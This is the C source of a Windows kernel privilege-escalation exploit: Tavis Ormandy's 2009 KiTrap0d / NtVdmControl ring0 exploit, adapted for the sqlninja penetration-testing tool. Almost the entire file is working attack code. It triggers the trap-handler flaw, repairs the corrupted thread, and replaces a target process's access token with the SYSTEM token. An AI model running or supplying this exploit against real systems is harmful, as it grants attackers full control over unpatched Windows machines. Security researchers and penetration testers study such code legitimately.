1 //
2 // --------------------------------------------------
3 // Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
4 // -------------------------------------------- taviso@sdf.lonestar.org ---
5 //
6 // Tavis Ormandy, June 2009.
7 //
8 //  Tested on:
9 //      $ cmd /c ver
10 //      Microsoft Windows [Version 5.2.3790]
11 //
12 // This file contains the exploit payload and VDM Subsystem control routines.
13 //
14 
15 // Massive kudos to Tavis for finding the bug, crafting the original exploit,
16 // and for allowing me to modify it, GPL it, and include it in sqlninja :)
17 
18 /*
19  * This file is part of sqlninja.
20  *
21  * Sqlninja is free software: you can redistribute it and/or modify
22  * it under the terms of the GNU General Public License as published by
23  * the Free Software Foundation, either version 3 of the License, or
24  * (at your option) any later version.
25  *
26  * Sqlninja is distributed in the hope that it will be useful,
27  * but WITHOUT ANY WARRANTY; without even the implied warranty of
28  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
29  * GNU General Public License for more details.
30  *
31  * You should have received a copy of the GNU General Public License
32  * along with sqlninja. If not, see <http://www.gnu.org/licenses/>.
33  */
34 
35 #ifndef WIN32_NO_STATUS
36 # define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
37 #endif
38 #include <windows.h>
39 #include <assert.h>
40 #include <stdio.h>
41 #include <winerror.h>
42 #include <winternl.h>
43 #include <stddef.h>
44 #ifdef WIN32_NO_STATUS
45 # undef WIN32_NO_STATUS
46 #endif
47 #include <ntstatus.h>
48 
49 // Process to escalate to SYSTEM
50 static DWORD TargetPid;
51 
52 // Pointer to fake kernel stack.
53 static PDWORD KernelStackPointer;
54 
55 #define KernelStackSize 1024
56 
57 // Enforce byte alignment by default
58 #pragma pack(1)
59 
60 // Kernel module handle
61 static HMODULE KernelHandle;
62 
63 // Eflags macros
64 #define EFLAGS_CF_MASK   0x00000001 // carry flag
65 #define EFLAGS_PF_MASK   0x00000004 // parity flag
66 #define EFLAGS_AF_MASK   0x00000010 // auxiliary carry flag
67 #define EFLAGS_ZF_MASK   0x00000040 // zero flag
68 #define EFLAGS_SF_MASK   0x00000080 // sign flag
69 #define EFLAGS_TF_MASK   0x00000100 // trap flag
70 #define EFLAGS_IF_MASK   0x00000200 // interrupt flag
71 #define EFLAGS_DF_MASK   0x00000400 // direction flag
72 #define EFLAGS_OF_MASK   0x00000800 // overflow flag
73 #define EFLAGS_IOPL_MASK 0x00003000 // I/O privilege level
74 #define EFLAGS_NT_MASK   0x00004000 // nested task
75 #define EFLAGS_RF_MASK   0x00010000 // resume flag
76 #define EFLAGS_VM_MASK   0x00020000 // virtual 8086 mode
77 #define EFLAGS_AC_MASK   0x00040000 // alignment check
78 #define EFLAGS_VIF_MASK  0x00080000 // virtual interrupt flag
79 #define EFLAGS_VIP_MASK  0x00100000 // virtual interrupt pending
80 #define EFLAGS_ID_MASK   0x00200000 // identification flag
81 
82 #ifndef PAGE_SIZE
83 # define PAGE_SIZE 0x1000
84 #endif
85 
86 // http://svn.reactos.org/reactos/trunk/reactos/include/ndk/ketypes.h
87 enum { VdmStartExecution = 0, VdmInitialize = 3 };
88 
89 VOID    FirstStage();
90 BOOL    InitializeVdmSubsystem();
91 PVOID   KernelGetProcByName(PSTR);
92 BOOL    FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL);
93 
94 // This routine is where I land after successfully triggering the vulnerability.
FirstStage()95 VOID FirstStage()
96 {
97     FARPROC DbgPrint;
98     FARPROC PsGetCurrentThread;
99     FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit;
100     FARPROC PsLookupProcessByProcessId;
101     FARPROC PsReferencePrimaryToken;
102     FARPROC ZwTerminateProcess;
103     PVOID CurrentThread;
104     PVOID TargetProcess, *PsInitialSystemProcess;
105     DWORD StackBase, StackLimit;
106     DWORD i;
107 
108     // Keep interrupts off until I've repaired my KTHREAD.
109     __asm cli
110 
111     // Resolve some routines I need from the kernel export directory
112     DbgPrint                        = KernelGetProcByName("DbgPrint");
113     PsGetCurrentThread              = KernelGetProcByName("PsGetCurrentThread");
114     PsGetCurrentThreadStackBase     = KernelGetProcByName("PsGetCurrentThreadStackBase");
115     PsGetCurrentThreadStackLimit    = KernelGetProcByName("PsGetCurrentThreadStackLimit");
116     PsInitialSystemProcess          = KernelGetProcByName("PsInitialSystemProcess");
117     PsLookupProcessByProcessId      = KernelGetProcByName("PsLookupProcessByProcessId");
118     PsReferencePrimaryToken         = KernelGetProcByName("PsReferencePrimaryToken");
119     ZwTerminateProcess              = KernelGetProcByName("ZwTerminateProcess");
120 
121     CurrentThread                   = (PVOID) PsGetCurrentThread();
122     StackLimit                      = (DWORD) PsGetCurrentThreadStackLimit();
123     StackBase                       = (DWORD) PsGetCurrentThreadStackBase();
124 
125     DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p",
126              CurrentThread,
127              StackBase,
128              StackLimit);
129 
130     // First I need to repair my CurrentThread, find all references to my fake kernel
131     // stack and repair them. Note that by "repair" I mean randomly point them
132     // somewhere inside the real stack.
133     DbgPrint("Repairing references to %p-%p in CurrentThread@%p...",
134              &KernelStackPointer[0],
135              &KernelStackPointer[KernelStackSize - 1],
136              CurrentThread);
137 
138     // For every stack location, try to find all references to it in my
139     // CurrentThread.
140     for (i = 0; i < KernelStackSize; i++) {
141         // The size of this structure varies between kernels, whats the maximum
142         // size likely to be?
143         CONST DWORD MaxExpectedEthreadSize = 0x200;
144 
145         // Find and repair all references to this location
146         while (FindAndReplaceMember((PDWORD) CurrentThread,
147                                     (DWORD) &KernelStackPointer[i],
148                                     (DWORD) StackBase - ((StackBase - StackLimit) / 2),
149                                     MaxExpectedEthreadSize,
150                                     FALSE))
151             ;
152     }
153 
154     // Find the EPROCESS structure for the process I want to escalate
155     if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
156         PACCESS_TOKEN SystemToken;
157         PACCESS_TOKEN TargetToken;
158 
159         // What's the maximum size the EPROCESS structure is ever likely to be?
160         CONST DWORD MaxExpectedEprocessSize = 0x200;
161 
162         DbgPrint("PsLookupProcessByProcessId(%u) => %p", TargetPid, TargetProcess);
163         DbgPrint("PsInitialSystemProcess @%p", *PsInitialSystemProcess);
164 
165         // Find the Token object for my target process, and the SYSTEM process.
166         TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
167         SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
168 
169         DbgPrint("PsReferencePrimaryToken(%p) => %p", TargetProcess, TargetToken);
170         DbgPrint("PsReferencePrimaryToken(%p) => %p", *PsInitialSystemProcess, SystemToken);
171 
172         // Find the token in the target process, and replace with the system token.
173         FindAndReplaceMember((PDWORD) TargetProcess,
174                              (DWORD) TargetToken,
175                              (DWORD) SystemToken,
176                              MaxExpectedEprocessSize,
177                              TRUE);
178 
179         // Success, try to terminate the current process.
180         ZwTerminateProcess(GetCurrentProcess(), 'w00t');
181     } else {
182         // Maybe the user closed the window?
183         DbgPrint("PsLookupProcessByProcessId(%u) Failed", TargetPid);
184 
185         // Report this failure
186         ZwTerminateProcess(GetCurrentProcess(), 'LPID');
187     }
188 
189     // Oops, Something went wrong, restore interrupts and spin here.
190     __asm sti
191 
192     for (;;) __asm pause
193 }
194 
195 // Search the specified data structure for a member with CurrentValue.
FindAndReplaceMember(PDWORD Structure,DWORD CurrentValue,DWORD NewValue,DWORD MaxSize,BOOL ObjectRefs)196 BOOL FindAndReplaceMember(PDWORD Structure,
197                           DWORD CurrentValue,
198                           DWORD NewValue,
199                           DWORD MaxSize,
200                           BOOL ObjectRefs)
201 {
202     DWORD i, Mask;
203 
204     // Microsoft QWORD aligns object pointers, then uses the lower three
205     // bits for quick reference counting (nice trick).
206     Mask = ObjectRefs ? ~7 : ~0;
207 
208     // Mask out the reference count.
209     CurrentValue &= Mask;
210 
211     // Scan the structure for any occurrence of CurrentValue.
212     for (i = 0; i < MaxSize; i++) {
213         if ((Structure[i] & Mask) == CurrentValue) {
214             // And finally, replace it with NewValue.
215             Structure[i] = NewValue;
216             return TRUE;
217         }
218     }
219 
220     // Member not found.
221     return FALSE;
222 }
223 
224 // Find an exported kernel symbol by name.
KernelGetProcByName(PSTR SymbolName)225 PVOID KernelGetProcByName(PSTR SymbolName)
226 {
227     PUCHAR ImageBase;
228     PULONG NameTable;
229     PULONG FunctionTable;
230     PUSHORT OrdinalTable;
231     PIMAGE_EXPORT_DIRECTORY ExportDirectory;
232     PIMAGE_DOS_HEADER DosHeader;
233     PIMAGE_NT_HEADERS PeHeader;
234     DWORD i;
235 
236     ImageBase       = (PUCHAR) KernelHandle;
237     DosHeader       = (PIMAGE_DOS_HEADER) ImageBase;
238     PeHeader        = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
239     ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase
240                             + PeHeader->OptionalHeader
241                             . DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
242                             . VirtualAddress);
243 
244     // Find required tablesa from the ExportDirectory.
245     NameTable       = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);
246     FunctionTable   = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);
247     OrdinalTable    = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);
248 
249     // Scan each entry for a matching name.
250     for (i = 0; i < ExportDirectory->NumberOfNames; i++) {
251         PCHAR Symbol = ImageBase + NameTable[i];
252 
253         if (strcmp(Symbol, SymbolName) == 0) {
254             // Symbol found, return the appropriate entry from FunctionTable.
255             return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);
256         }
257     }
258 
259     // Symbol not found, this is likely fatal :-(
260     return NULL;
261 }
262 
263 // Exploit entrypoint.
DllMain(HMODULE Module,DWORD Reason,LPVOID Reserved)264 BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved)
265 {
266     CONST DWORD MinimumExpectedVdmTibSize = 0x400;
267     CONST DWORD MaximumExpectedVdmTibSize = 0x800;
268     FARPROC NtVdmControl;
269     DWORD KernelStack[KernelStackSize];
270     DWORD Ki386BiosCallReturnAddress;
271     CHAR Pid[32], Off[32], Krn[32];
272     struct {
273         ULONG   Size;
274         PVOID   Padding0;
275         PVOID   Padding1;
276         CONTEXT Padding2;
277         CONTEXT VdmContext;
278         DWORD   Padding3[1024];
279     } VdmTib = {0};
280 
281     // Initialise these structures with recognisable constants to ease debugging.
282     FillMemory(&VdmTib, sizeof VdmTib, 'V');
283     FillMemory(&KernelStack, sizeof KernelStack, 'K');
284 
285     // Parent passes parameters via environment variables.
286     //
287     //  - VDM_TARGET_PID
288     //    Pid of the process to transplant a SYSTEM token onto.
289     //  - VDM_TARGET_OFF
290     //    Offset from ntoskrnl of Ki386BiosCallReturnAddress.
291     //  - VDM_TARGET_KRN
292     //    Ntoskrnl base address.
293 
294     GetEnvironmentVariable("VDM_TARGET_PID", Pid, sizeof Pid);
295     GetEnvironmentVariable("VDM_TARGET_KRN", Krn, sizeof Krn);
296     GetEnvironmentVariable("VDM_TARGET_OFF", Off, sizeof Off);
297 
298     NtVdmControl                = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
299     TargetPid                   = strtoul(Pid, NULL, 0);
300 
301     // Setup the fake kernel stack, and install a minimal VDM_TIB,
302     KernelStackPointer          = KernelStack;
303     KernelStack[0]              = (DWORD) &KernelStack[8];      // Esp
304     KernelStack[1]              = (DWORD) NtCurrentTeb();       // Teb
305     KernelStack[2]              = (DWORD) NtCurrentTeb();       // Teb
306     KernelStack[7]              = (DWORD) FirstStage;           // RetAddr
307     KernelHandle                = (HMODULE) strtoul(Krn, NULL, 0);
308     VdmTib.Size                 = MinimumExpectedVdmTibSize;
309     *NtCurrentTeb()->Reserved4  = &VdmTib;
310 
311     // Initialize the VDM Subsystem.
312     InitializeVdmSubsystem();
313 
314     VdmTib.Size                 = MinimumExpectedVdmTibSize;
315     VdmTib.VdmContext.SegCs     = 0x0B;
316     VdmTib.VdmContext.Esi       = (DWORD) &KernelStack;
317     VdmTib.VdmContext.Eip       = strtoul(Krn, NULL, 0) + strtoul(Off, NULL, 0);
318     VdmTib.VdmContext.EFlags    = EFLAGS_TF_MASK;
319     *NtCurrentTeb()->Reserved4  = &VdmTib;
320 
321     // Trigger the vulnerable code via NtVdmControl().
322     while (VdmTib.Size++ < MaximumExpectedVdmTibSize)
323         NtVdmControl(VdmStartExecution, NULL);
324 
325     // Unable to find correct VdmTib size.
326     ExitThread('VTIB');
327 }
328 
329 // Setup a minimal execution environment to satisfy NtVdmControl().
InitializeVdmSubsystem()330 BOOL InitializeVdmSubsystem()
331 {
332     FARPROC NtAllocateVirtualMemory;
333     FARPROC NtFreeVirtualMemory;
334     FARPROC NtVdmControl;
335     PBYTE BaseAddress;
336     ULONG RegionSize;
337     static DWORD TrapHandler[128];
338     static DWORD IcaUserData[128];
339     static struct {
340         PVOID TrapHandler;
341         PVOID IcaUserData;
342     } InitData;
343 
344     NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtAllocateVirtualMemory");
345     NtFreeVirtualMemory     = GetProcAddress(GetModuleHandle("NTDLL"), "NtFreeVirtualMemory");
346     NtVdmControl            = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
347     BaseAddress             = (PVOID) 0x00000001;
348     RegionSize              = (ULONG) 0x00000000;
349     InitData.TrapHandler    = TrapHandler;
350     InitData.IcaUserData    = IcaUserData;
351 
352     // Remove anything currently mapped at NULL
353     NtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);
354 
355     BaseAddress             = (PVOID) 0x00000001;
356     RegionSize              = (ULONG) 0x00100000;
357 
358     // Allocate the 1MB virtual 8086 address space.
359     if (NtAllocateVirtualMemory(GetCurrentProcess(),
360                                 &BaseAddress,
361                                 0,
362                                 &RegionSize,
363                                 MEM_COMMIT | MEM_RESERVE,
364                                 PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
365         ExitThread('NTAV');
366         return FALSE;
367     }
368 
369     // Finalise the initialisation.
370     if (NtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) {
371         ExitThread('VDMC');
372         return FALSE;
373     }
374 
375     return TRUE;
376 }
377 
378